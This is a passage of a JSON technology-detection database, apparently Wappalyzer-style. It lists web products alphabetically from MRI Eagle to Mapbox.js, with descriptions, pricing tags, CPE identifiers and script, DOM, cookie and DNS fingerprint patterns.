firms, offering efficiency and cost-saving benefits.\",\n    \"dom\": [\n      \"link[href*='cdn.eaglesoftware.com.au']\"\n    ],\n    \"icon\": \"MRIEagle.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.eaglesoftware\\\\.com\\\\.au\"\n    ],\n    \"website\": \"https://www.mrisoftware.com/au/products/eagle\"\n  },\n  \"MRW\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"MRW is a Spanish courier company specialised in express national and international shipping services.\",\n    \"icon\": \"MRW.png\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bMRW\\\\b\"\n    ],\n    \"website\": \"https://www.mrw.es\"\n  },\n  \"MSHOP\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"MSHOP is an all-in-one ecommerce platform.\",\n    \"icon\": \"MSHOP.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.hotishop\\\\.com/\"\n    ],\n    \"website\": \"https://hotishop.com\"\n  },\n  \"MTCaptcha\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"MTCaptcha is a captcha service that is GDPR and WCAG compliant, providing the confidence of privacy and accessibility.\",\n    \"icon\": \"MTCaptcha.svg\",\n    \"js\": {\n      \"mtcaptcha.getVerifiedToken\": \"\",\n      \"mtcaptchaConfig.sitekey\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"service(?:2)?\\\\.mtcaptcha\\\\.com/\"\n    ],\n    \"website\": \"https://www.mtcaptcha.com\"\n  },\n  \"MUI\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"\\\\.MuiPaper-root\"\n    ],\n    \"description\": \"MUI(formerly Material UI) is a simple and customisable component library to build faster, beautiful, and more accessible React applications.\",\n    \"dom\": [\n      \"style[data-meta='MuiPaper'], div.MuiBox-root, div.MuiPaper-root, style[data-meta='MuiButton'], input.MuiInputBase-input, div.MuiContainer-root\"\n    ],\n    \"icon\": \"MUI.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mui.com\"\n  },\n  \"Mabisy\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Mabisy is an online platform facilitating the creation of custom ecommerce stores.\",\n    \"icon\": \"Mabisy.svg\",\n    \"meta\": {\n      \"generator\": \"^Mabisy$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mabisy.com\"\n  },\n  \"Macaron\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:go-macaron:macaron:*:*:*:*:*:*:*:*\",\n    \"description\": \"Macaron is a high productive and modular web framework in Go.\",\n    \"icon\": \"Macaron.svg\",\n    \"implies\": [\n      \"Go\"\n    ],\n    \"website\": \"https://go-macaron.com\"\n  },\n  \"MachoThemes NewsMag\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"MachoThemes Newsmag is a clean and modern magazine, news or blog WordPress theme.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/Newsmag']\"\n    ],\n    \"icon\": \"MachoThemes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/Newsmag(?:-child)?/\"\n    ],\n    \"website\": \"https://www.machothemes.com/item/newsmag-lite\"\n  },\n  \"MadAdsMedia\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"MadAdsMedia.png\",\n    \"js\": {\n      \"setMIframe\": \"\",\n      \"setMRefURL\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https?://(?:ads-by|pixel)\\\\.madadsmedia\\\\.com/\"\n    ],\n    \"website\": \"https://madadsmedia.com\"\n  },\n  \"MadCap Software\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"MadCap Software is a company that specialises in creating software tools for technical writers to author and publish various types of content, including user manuals, online help systems, and knowledge bases.\",\n    \"icon\": \"MadCap Software.svg\",\n    \"js\": {\n      \"MadCap.Accessibility\": \"\",\n      \"MadCap.DEBUG\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.madcapsoftware.com\"\n  },\n  \"MadKudu\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"MadKudu is a platform that enhances sales and marketing systems by providing actionable predictive analytics, enabling businesses to optimize strategies with data-driven insights.\",\n    \"dom\": [\n      \"link[href*='cdn.madkudu.com']\"\n    ],\n    \"icon\": \"MadKudu.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.madkudu\\\\.com\"\n    ],\n    \"website\": \"https://www.madkudu.com\"\n  },\n  \"Magazord\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Magazord is an all-in-one ecommerce platform.\",\n    \"icon\": \"Magazord.svg\",\n    \"meta\": {\n      \"web-author\": \"^Magazord$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.magazord.com.br\"\n  },\n  \"MageMail\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"MageMail is a triggered email application for Magento that helps online retailers enhance customer engagement and increase revenue.\",\n    \"icon\": \"MageMail.svg\",\n    \"js\": {\n      \"Mage.Cookies\": \"\",\n      \"MageMailData.capture_email\": \"\",\n      \"MageRewards\": \"\"\n    },\n    \"requires\": [\n      \"Magento\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://magemail.co\"\n  },\n  \"MageWorx Search Autocomplete\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"MageWorx Search Autocomplete extension offers an AJAX-based popup window that displays and updates relevant search results while a customer forms his or her query.\",\n    \"dom\": [\n      \"link[href*='MageWorx_SearchSuiteAutocomplete']\"\n    ],\n    \"icon\": \"MageWorx.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"Magento\"\n    ],\n    \"scriptSrc\": [\n      \"MageWorx_SearchSuiteAutocomplete\"\n    ],\n    \"website\": \"https://github.com/mageworx/search-suite-autocomplete\"\n  },\n  \"Magento\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"X-Magento-Vary\": \"\",\n      \"frontend\": \"\\\\;confidence:50\",\n      \"mage-cache-storage\": \"\",\n      \"mage-cache-storage-section-invalidation\": \"\",\n      \"mage-translation-file-version\": \"\",\n      \"mage-translation-storage\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:magento:magento:*:*:*:*:*:*:*:*\",\n    \"description\": \"Magento is an open-source ecommerce platform written in PHP.\",\n    \"dom\": {\n      \"script[data-requiremodule*='mage/'], script[data-requiremodule*='Magento_'], html[data-image-optimizing-origin]\": {\n        \"exists\": \"\\\\;version:2\"\n      },\n      \"script[type='text/x-magento-init']\": {\n        \"exists\": \"\"\n      }\n    },\n    \"icon\": \"Magento.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"Mage\": \"\",\n      \"VarienForm\": \"\"\n    },\n    \"oss\": true,\n    \"probe\": {\n      \"/magento_version\": \"magento\"\n    },\n    \"scriptSrc\": [\n      \"js/mage\",\n      \"skin/frontend/(?:default|(enterprise))\\\\;version:\\\\1?1 (Enterprise):1 (Community)\",\n      \"skin/frontend/\\\\;confidence:50\\\\;version:\\\\1\",\n      \"static/_requirejs\\\\;confidence:50\\\\;version:2\"\n    ],\n    \"website\": \"https://magento.com\"\n  },\n  \"Magewire\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Magewire is a Laravel Livewire port for Magento 2.\",\n    \"implies\": [\n      \"Laravel\",\n      \"Livewire\"\n    ],\n    \"js\": {\n      \"Magewire.connection-author\": \"\",\n      \"magewire\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/magewirephp/magewire\"\n  },\n  \"Magisto\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Magisto is a video management solution designed to help marketing professionals, agencies, and businesses of all sizes.\",\n    \"icon\": \"Magisto.png\",\n    \"js\": {\n      \"MagistoPlayerFrame\": \"\",\n      \"magisto_server\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.magisto\\\\.com/\"\n    ],\n    \"website\": \"https://www.magisto.com\"\n  },\n  \"Magixite\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Magixite offers the Web Content Accessibility Guidelines (WCAG), a set of guidelines and requirements designed to help designers and developers improve the accessibility of web content, ensuring it can be effectively used by individuals with disabilities.\",\n    \"icon\": \"Magixite.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"acc\\\\.magixite\\\\.com/\"\n    ],\n    \"website\": \"https://acc.magixite.com\"\n  },\n  \"Maglr\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Maglr is a no-code design platform for creating interactive visual stories.\",\n    \"icon\": \"Maglr.svg\",\n    \"js\": {\n      \"maglr_pirsch\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"system\\\\.maglr\\\\.com/[^?]+\\\\?v=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.maglr.com\"\n  },\n  \"Magnific Popup\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Magnific Popup is a responsive lightbox & dialog script with focus on performance and providing best experience for user with any device.\",\n    \"icon\": \"Magnific Popup.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"magnific-popup(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://dimsemenov.com/plugins/magnific-popup/\"\n  },\n  \"Magnite\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Magnite is an independent sell-side advertising platform that provides technology for publishers to monetize digital advertising inventory across various formats.\",\n    \"dom\": {\n      \"link[href*='.spotxchange.com']\": {\n        \"attributes\": {\n          \"href\": \"\"\n        }\n      }\n    },\n    \"icon\": \"Magnite.svg\",\n    \"js\": {\n      \"SpotX.VERSION\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.spotx\\\\.tv\"\n    ],\n    \"website\": \"https://www.magnite.com\",\n    \"xhr\": [\n      \"\\\\.spotx(?:change|cdn)\\\\.com\"\n    ]\n  },\n  \"Magnolia CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:magnolia-cms:magnolia_cms:*:*:*:*:*:*:*:*\",\n    \"description\": \"Magnolia CMS is a Java-based, open-source content management system that employs a modular architecture and JCR (Java Content Repository) standards, facilitating the creation, storage, and retrieval of digital content within a customisable framework.\",\n    \"headers\": {\n      \"x-magnolia-registration\": \"\"\n    },\n    \"icon\": \"Magnolia CMS.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"website\": \"https://www.magnolia-cms.com\"\n  },\n  \"Mahara\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Mahara is an open source ePortfolio and social networking web application.\",\n    \"icon\": \"Mahara.svg\",\n    \"meta\": {\n      \"generator\": \"Mahara ([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mahara.org\"\n  },\n  \"MailChimp\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"cpe\": \"cpe:2.3:a:thinkshout:mailchimp:*:*:*:*:*:*:*:*\",\n    \"description\": \"Mailchimp is a marketing automation platform and email marketing service.\",\n    \"dns\": {\n      \"TXT\": [\n        \"spf\\\\.mandrillapp\\\\.com\"\n      ]\n    },\n    \"dom\": [\n      \"form#mc-embedded-subscribe-form\",\n      \"form[name*='mc-embedded-subscribe-form']\",\n      \"form[class*='mailchimp-ext-']\"\n    ],\n    \"html\": [\n      \"<input [^>]*id=\\\"mc-email\\\"\\\\;confidence:20\",\n      \"<!-- Begin MailChimp Signup Form -->\"\n    ],\n    \"icon\": \"mailchimp.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"s3\\\\.amazonaws\\\\.com/downloads\\\\.mailchimp\\\\.com/js/mc-validate\\\\.js\",\n      \"cdn-images\\\\.mailchimp\\\\.com/[^>]*\\\\.css\",\n      \"chimpstatic\\\\.com/mcjs-connected\"\n    ],\n    \"url\": [\n      \"^https?://(?:www\\\\.)?mailchi\\\\.mp\"\n    ],\n    \"website\": \"https://mailchimp.com\"\n  },\n  \"MailChimp for WooCommerce\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"MailChimp for WooCommerce gives you the ability to automatically sync customer purchase data to your MailChimp account.\",\n    \"icon\": \"mailchimp.svg\",\n    \"implies\": [\n      \"MailChimp\"\n    ],\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/mailchimp-for-woocommerce/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mailchimp.com/integrations/woocommerce\"\n  },\n  \"MailChimp for WordPress\": {\n    \"cats\": [\n      87,\n      32\n    ],\n    \"description\": \"MailChimp for WordPress is an email marketing plugin that enables you to build subscriber lists.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/mailchimp-for-wp/']\"\n    ],\n    \"icon\": \"MailChimpforWordPress.svg\",\n    \"implies\": [\n      \"MailChimp\"\n    ],\n    \"js\": {\n      \"mc4wp\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/mailchimp-for-wp/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.mc4wp.com\"\n  },\n  \"MailOptin\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"WordPress plugin to create email signup forms that convert visitors into subscribers combined with email automation and newsletter features.\",\n    \"icon\": \"MailOptin.png\",\n    \"js\": {\n      \"mailoptin_globals\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"mailoptin(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mailoptin.io/\"\n  },\n  \"Mailcheck\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Mailcheck is a JavaScript library designed to address the issue of misspelled email addresses during user input.\",\n    \"icon\": \"Mailcheck.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"mailcheck(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=(\\\\d+\\\\.\\\\d+\\\\.\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/mailcheck/mailcheck\"\n  },\n  \"MailerLite\": {\n    \"cats\": [\n      75,\n      32\n    ],\n    \"description\": \"MailerLite is an email marketing tool and website builder for businesses of all shapes and sizes.\",\n    \"dom\": [\n      \"link[href*='.mailerlite.com']\"\n    ],\n    \"icon\": \"MailerLite.svg\",\n    \"js\": {\n      \"MailerLiteObject\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mailerlite\\\\.com/\"\n    ],\n    \"website\": \"https://www.mailerlite.com\"\n  },\n  \"MailerLite Website Builder\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"MailerLite Website Builder is a free drag & drop website builder with interactive blocks and ecommerce integrations.\",\n    \"icon\": \"MailerLite.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"MailerLite\",\n      \"Go\",\n      \"Caddy\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.mailerlite\\\\.com/moment/moment\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://www.mailerlite.com/features/website-builder\"\n  },\n  \"MailerLite plugin\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"The official MailerLite signup forms plugin makes it easy to grow your newsletter subscriber list from your WordPress blog or website. The plugin automatically integrates your WordPress form with your MailerLite email marketing account.\",\n    \"icon\": \"MailerLite.svg\",\n    \"implies\": [\n      \"MailerLite\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/woo-mailerlite/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://ru.wordpress.org/plugins/official-mailerlite-sign-up-forms/\"\n  },\n  \"Mailercloud\": {\n    \"cats\": [\n      75,\n      32\n    ],\n    \"description\": \"Mailercloud is an email marketing platform that offers tools for creating, sending, and tracking email campaigns, including automation, contact segmentation, and detailed analytics.\",\n    \"icon\": \"Mailercloud.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mailercloud\\\\.com/\"\n    ],\n    \"website\": \"https://www.mailercloud.com/\"\n  },\n  \"Mailgun\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"Mailgun is a transactional email API service for developers.\",\n    \"dns\": {\n      \"TXT\": [\n        \"mailgun\\\\.org\"\n      ]\n    },\n    \"icon\": \"Mailgun.svg\",\n    \"website\": \"https://www.mailgun.com/\"\n  },\n  \"Mailjet\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"Mailjet is an email delivery service for marketing and developer teams.\",\n    \"dns\": {\n      \"TXT\": [\n        \"mailjet\\\\.com\"\n      ]\n    },\n    \"icon\": \"Mailjet.svg\",\n    \"website\": \"https://www.mailjet.com/\"\n  },\n  \"Mailman\": {\n    \"cats\": [\n      75\n    ],\n    \"cpe\": \"cpe:2.3:a:gnu:mailman:*:*:*:*:*:*:*:*\",\n    \"description\": \"Mailman is free software for managing electronic mail discussion and e-newsletter lists. Mailman is integrated with the web, making it easy for users to manage their accounts and for list owners to administer their lists. Mailman supports built-in archiving, automatic bounce processing, content filtering, digest delivery, spam filters, and more.\",\n    \"icon\": \"Mailman.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/mailman\\\\d+/static/.+\\\\.js\",\n      \"/static/(?:hyperkitty|django-mailman3)/.+\\\\.js\"\n    ],\n    \"website\": \"https://list.org\"\n  },\n  \"Mailmunch\": {\n    \"cats\": [\n      75,\n      32\n    ],\n    \"description\": \"Mailmunch is a lead generation tool that combines landing pages, forms, and email marketing.\",\n    \"icon\": \"Mailmunch.svg\",\n    \"js\": {\n      \"MailMunchWidgets\": \"\",\n      \"mailmunch\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.mailmunch.com\"\n  },\n  \"MainAd\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"MainAd is an international advertising technology company specialising in real-time bidding and programmatic ad retargeting.\",\n    \"dom\": [\n      \"iframe[src*='.mainadv.com/']\"\n    ],\n    \"icon\": \"MainAd.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mainadv\\\\.com/\"\n    ],\n    \"website\": \"https://www.mainad.com\"\n  },\n  \"Mainstay\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Mainstay is a student engagement platform that is powered by human-centered, AI-enhanced chatbots.\",\n    \"icon\": \"Mainstay.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"webbot\\\\.mainstay\\\\.com/\"\n    ],\n    \"website\": \"https://mainstay.com\"\n  },\n  \"Maisey\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Maisey is a website builder for churches.\",\n    \"dom\": [\n      \"script[data-cb-site='maisey']\"\n    ],\n    \"icon\": \"Maisey.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.maisey.co\"\n  },\n  \"Make-Sense\": {\n    \"cats\": [\n      68\n    ],\n    \"icon\": \"Make-Sense.png\",\n    \"scriptSrc\": [\n      \"mk-sense\\\\.com/aweb\\\\?license\"\n    ],\n    \"website\": \"https://mk-sense.com/\"\n  },\n  \"MakeShop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"MakeShop is a Japanese ecommerce platform.\",\n    \"dom\": [\n      \"link[href*='gigaplus.makeshop.jp'], img[src*='gigaplus.makeshop.jp']\"\n    ],\n    \"icon\": \"MakeShop.svg\",\n    \"js\": {\n      \"MakeShop_TopSearch\": \"\",\n      \"makeshop_ga_gtag\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.makeshop.jp\"\n  },\n  \"MakeShopKorea\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"MakeShopKorea is a Korean hosting brand that focuses on building ecommerce stores.\",\n    \"icon\": \"MakeShopKorea.svg\",\n    \"js\": {\n      \"Makeshop\": \"\",\n      \"MakeshopLogUniqueId\": \"\"\n    },\n    \"website\": \"https://www.makeshop.co.kr\"\n  },\n  \"Maker\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Maker is a platform that enables the creation, management, and optimization of ecommerce content without requiring coding knowledge.\",\n    \"icon\": \"Maker.svg\",\n    \"js\": {\n      \"MakerEmbeds.run\": \"\",\n      \"MakerEnhance\": \"\",\n      \"MakerEnhanceEmbed\": \"\",\n      \"MakerExperiment\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.maker.co\"\n  },\n  \"Malomo\": {\n    \"cats\": [\n      107\n    ],\n    \"description\": \"Malomo is a cloud-based shipment tracking solution that helps small to midsize eCommerce businesses provide customers with shipping updates via white-label package tracking pages.\",\n    \"icon\": \"Malomo.svg\",\n    \"js\": {\n      \"Malomo\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.gomalomo\\\\.com/\"\n    ],\n    \"website\": \"https://gomalomo.com\"\n  },\n  \"Mambo\": {\n    \"cats\": [\n      1\n    ],\n    \"excludes\": [\n      \"Joomla\"\n    ],\n    \"icon\": \"Mambo.png\",\n    \"meta\": {\n      \"generator\": \"Mambo\"\n    },\n    \"website\": \"https://mambo-foundation.org\"\n  },\n  \"Manatee\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Manatee is a tool designed to enhance online advertising revenue by optimising ad placements and targeting strategies, increasing click-through rates and overall ad performance.\",\n    \"js\": {\n      \"adsbymanatee\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.manatee\\\\.io/\"\n    ],\n    \"website\": \"https://www.manatee.io\"\n  },\n  \"Mangeznotez\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Mangeznotez is a restaurant table booking widget.\",\n    \"icon\": \"Mangeznotez.svg\",\n    \"scriptSrc\": [\n      \"www\\\\.mangeznotez\\\\.\\\\w+\",\n      \"\\\\w+.mangeznotez\\\\.\\\\w+(?:.*\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.mangeznotez.com\"\n  },\n  \"Mantine\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Mantine is an open-source UI framework and component library for React.\",\n    \"dom\": [\n      \"style[data-emotion='mantine-global'], style[data-emotion='mantine'], html[data-mantine-color-scheme]\"\n    ],\n    \"icon\": \"Mantine.svg\",\n    \"implies\": [\n      \"TypeScript\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"React\"\n    ],\n    \"website\": \"https://mantine.dev\"\n  },\n  \"Mantis\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Mantis is an end-to-end advertising network catering to brands operating in the legal cannabis industry and ancillary markets.\",\n    \"icon\": \"Mantis.svg\",\n    \"js\": {\n      \"mantis\": \"\",\n      \"mantistimer\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mantisadnetwork\\\\.com/\"\n    ],\n    \"website\": \"https://www.mantisadnetwork.com\"\n  },\n  \"MantisBT\": {\n    \"cats\": [\n      13\n    ],\n    \"cpe\": \"cpe:2.3:a:mantisbt:mantisbt:*:*:*:*:*:*:*:*\",\n    \"description\": \"MantisBT is an open-source, web-based issue tracking system written in PHP with a MySQL database backend, designed to facilitate bug tracking and project management for software development teams.\",\n    \"dom\": [\n      \"link[rel='stylesheet'][href*='/css/ace-mantis.css']\"\n    ],\n    \"icon\": \"MantisBT.svg\",\n    \"implies\": [\n      \"MySQL\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://www.mantisbt.org\"\n  },\n  \"Manula\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Manula is an online software for creating user manuals.\",\n    \"icon\": \"Manula.svg\",\n    \"js\": {\n      \"ManulaWebProductVersionCookiePath\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.manula\\\\.com/\"\n    ],\n    \"website\": \"https://www.manula.com\"\n  },\n  \"ManyChat\": {\n    \"cats\": [\n      32,\n      52\n    ],\n    \"description\": \"ManyChat is a service that allows you to create chatbots for Facebook Messenger.\",\n    \"icon\": \"ManyChat.svg\",\n    \"js\": {\n      \"mcwidget\": \"\"\n    },\n    \"scriptSrc\": [\n      \"widget\\\\.manychat\\\\.com\"\n    ],\n    \"website\": \"https://manychat.com/\"\n  },\n  \"ManyContacts\": {\n    \"cats\": [\n      32,\n      5\n    ],\n    \"description\": \"ManyContacts is an attention-grabbing contact form sitting on top of your website that helps to increase conversion by converting visitors into leads.\",\n    \"icon\": \"ManyContacts.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.manycontacts\\\\.com\"\n    ],\n    \"website\": \"https://www.manycontacts.com\"\n  },\n  \"MapLibre GL JS\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"MapLibre GL JS is an open-source library for publishing maps on your websites.\",\n    \"icon\": \"MapLibre.svg\",\n    \"js\": {\n      \"apex.libVersions.maplibre\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"maplibregl\": \"\",\n      \"rmap2.maplibreglCompare\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"maplibre-gl@([\\\\d\\\\.]+)/dist/maplibre-gl\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/maplibre/maplibre-gl-js\"\n  },\n  \"MapPress\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"MapPress is a WordPress plugin that provides easy integration of interactive maps into WordPress websites.\",\n    \"dom\": [\n      \"link[href*='wp-content/plugins/mappress-google-maps-for-wordpress/'], #mappress-leaflet-css, #mappress-css\"\n    ],\n    \"icon\": \"MapPress.png\",\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://mappresspro.com\"\n  },\n  \"Mapbox GL JS\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Mapbox GL JS is a JavaScript library that uses WebGL to render interactive maps from vector tiles and Mapbox styles.\",\n    \"dom\": [\n      \"link[href*='mapbox-gl.css'], div.mapboxgl-map, div.mapboxgl-canvas-container, canvas.mapboxgl-canvas\"\n    ],\n    \"icon\": \"Mapbox.svg\",\n    \"js\": {\n      \"mapboxgl.version\": \"^(.+)$\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"mapbox-gl\\\\.js\"\n    ],\n    \"website\": \"https://github.com/mapbox/mapbox-gl-js\"\n  },\n  \"Mapbox.js\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Mapbox.js is a JavaScript library provided by Mapbox for working with interactive maps and geospatial data.\",\n    \"dom\": [\n      \"link[href*='api.mapbox.com/']\"\n    ],\n    \"icon\": \"Mapbox.svg\",\n    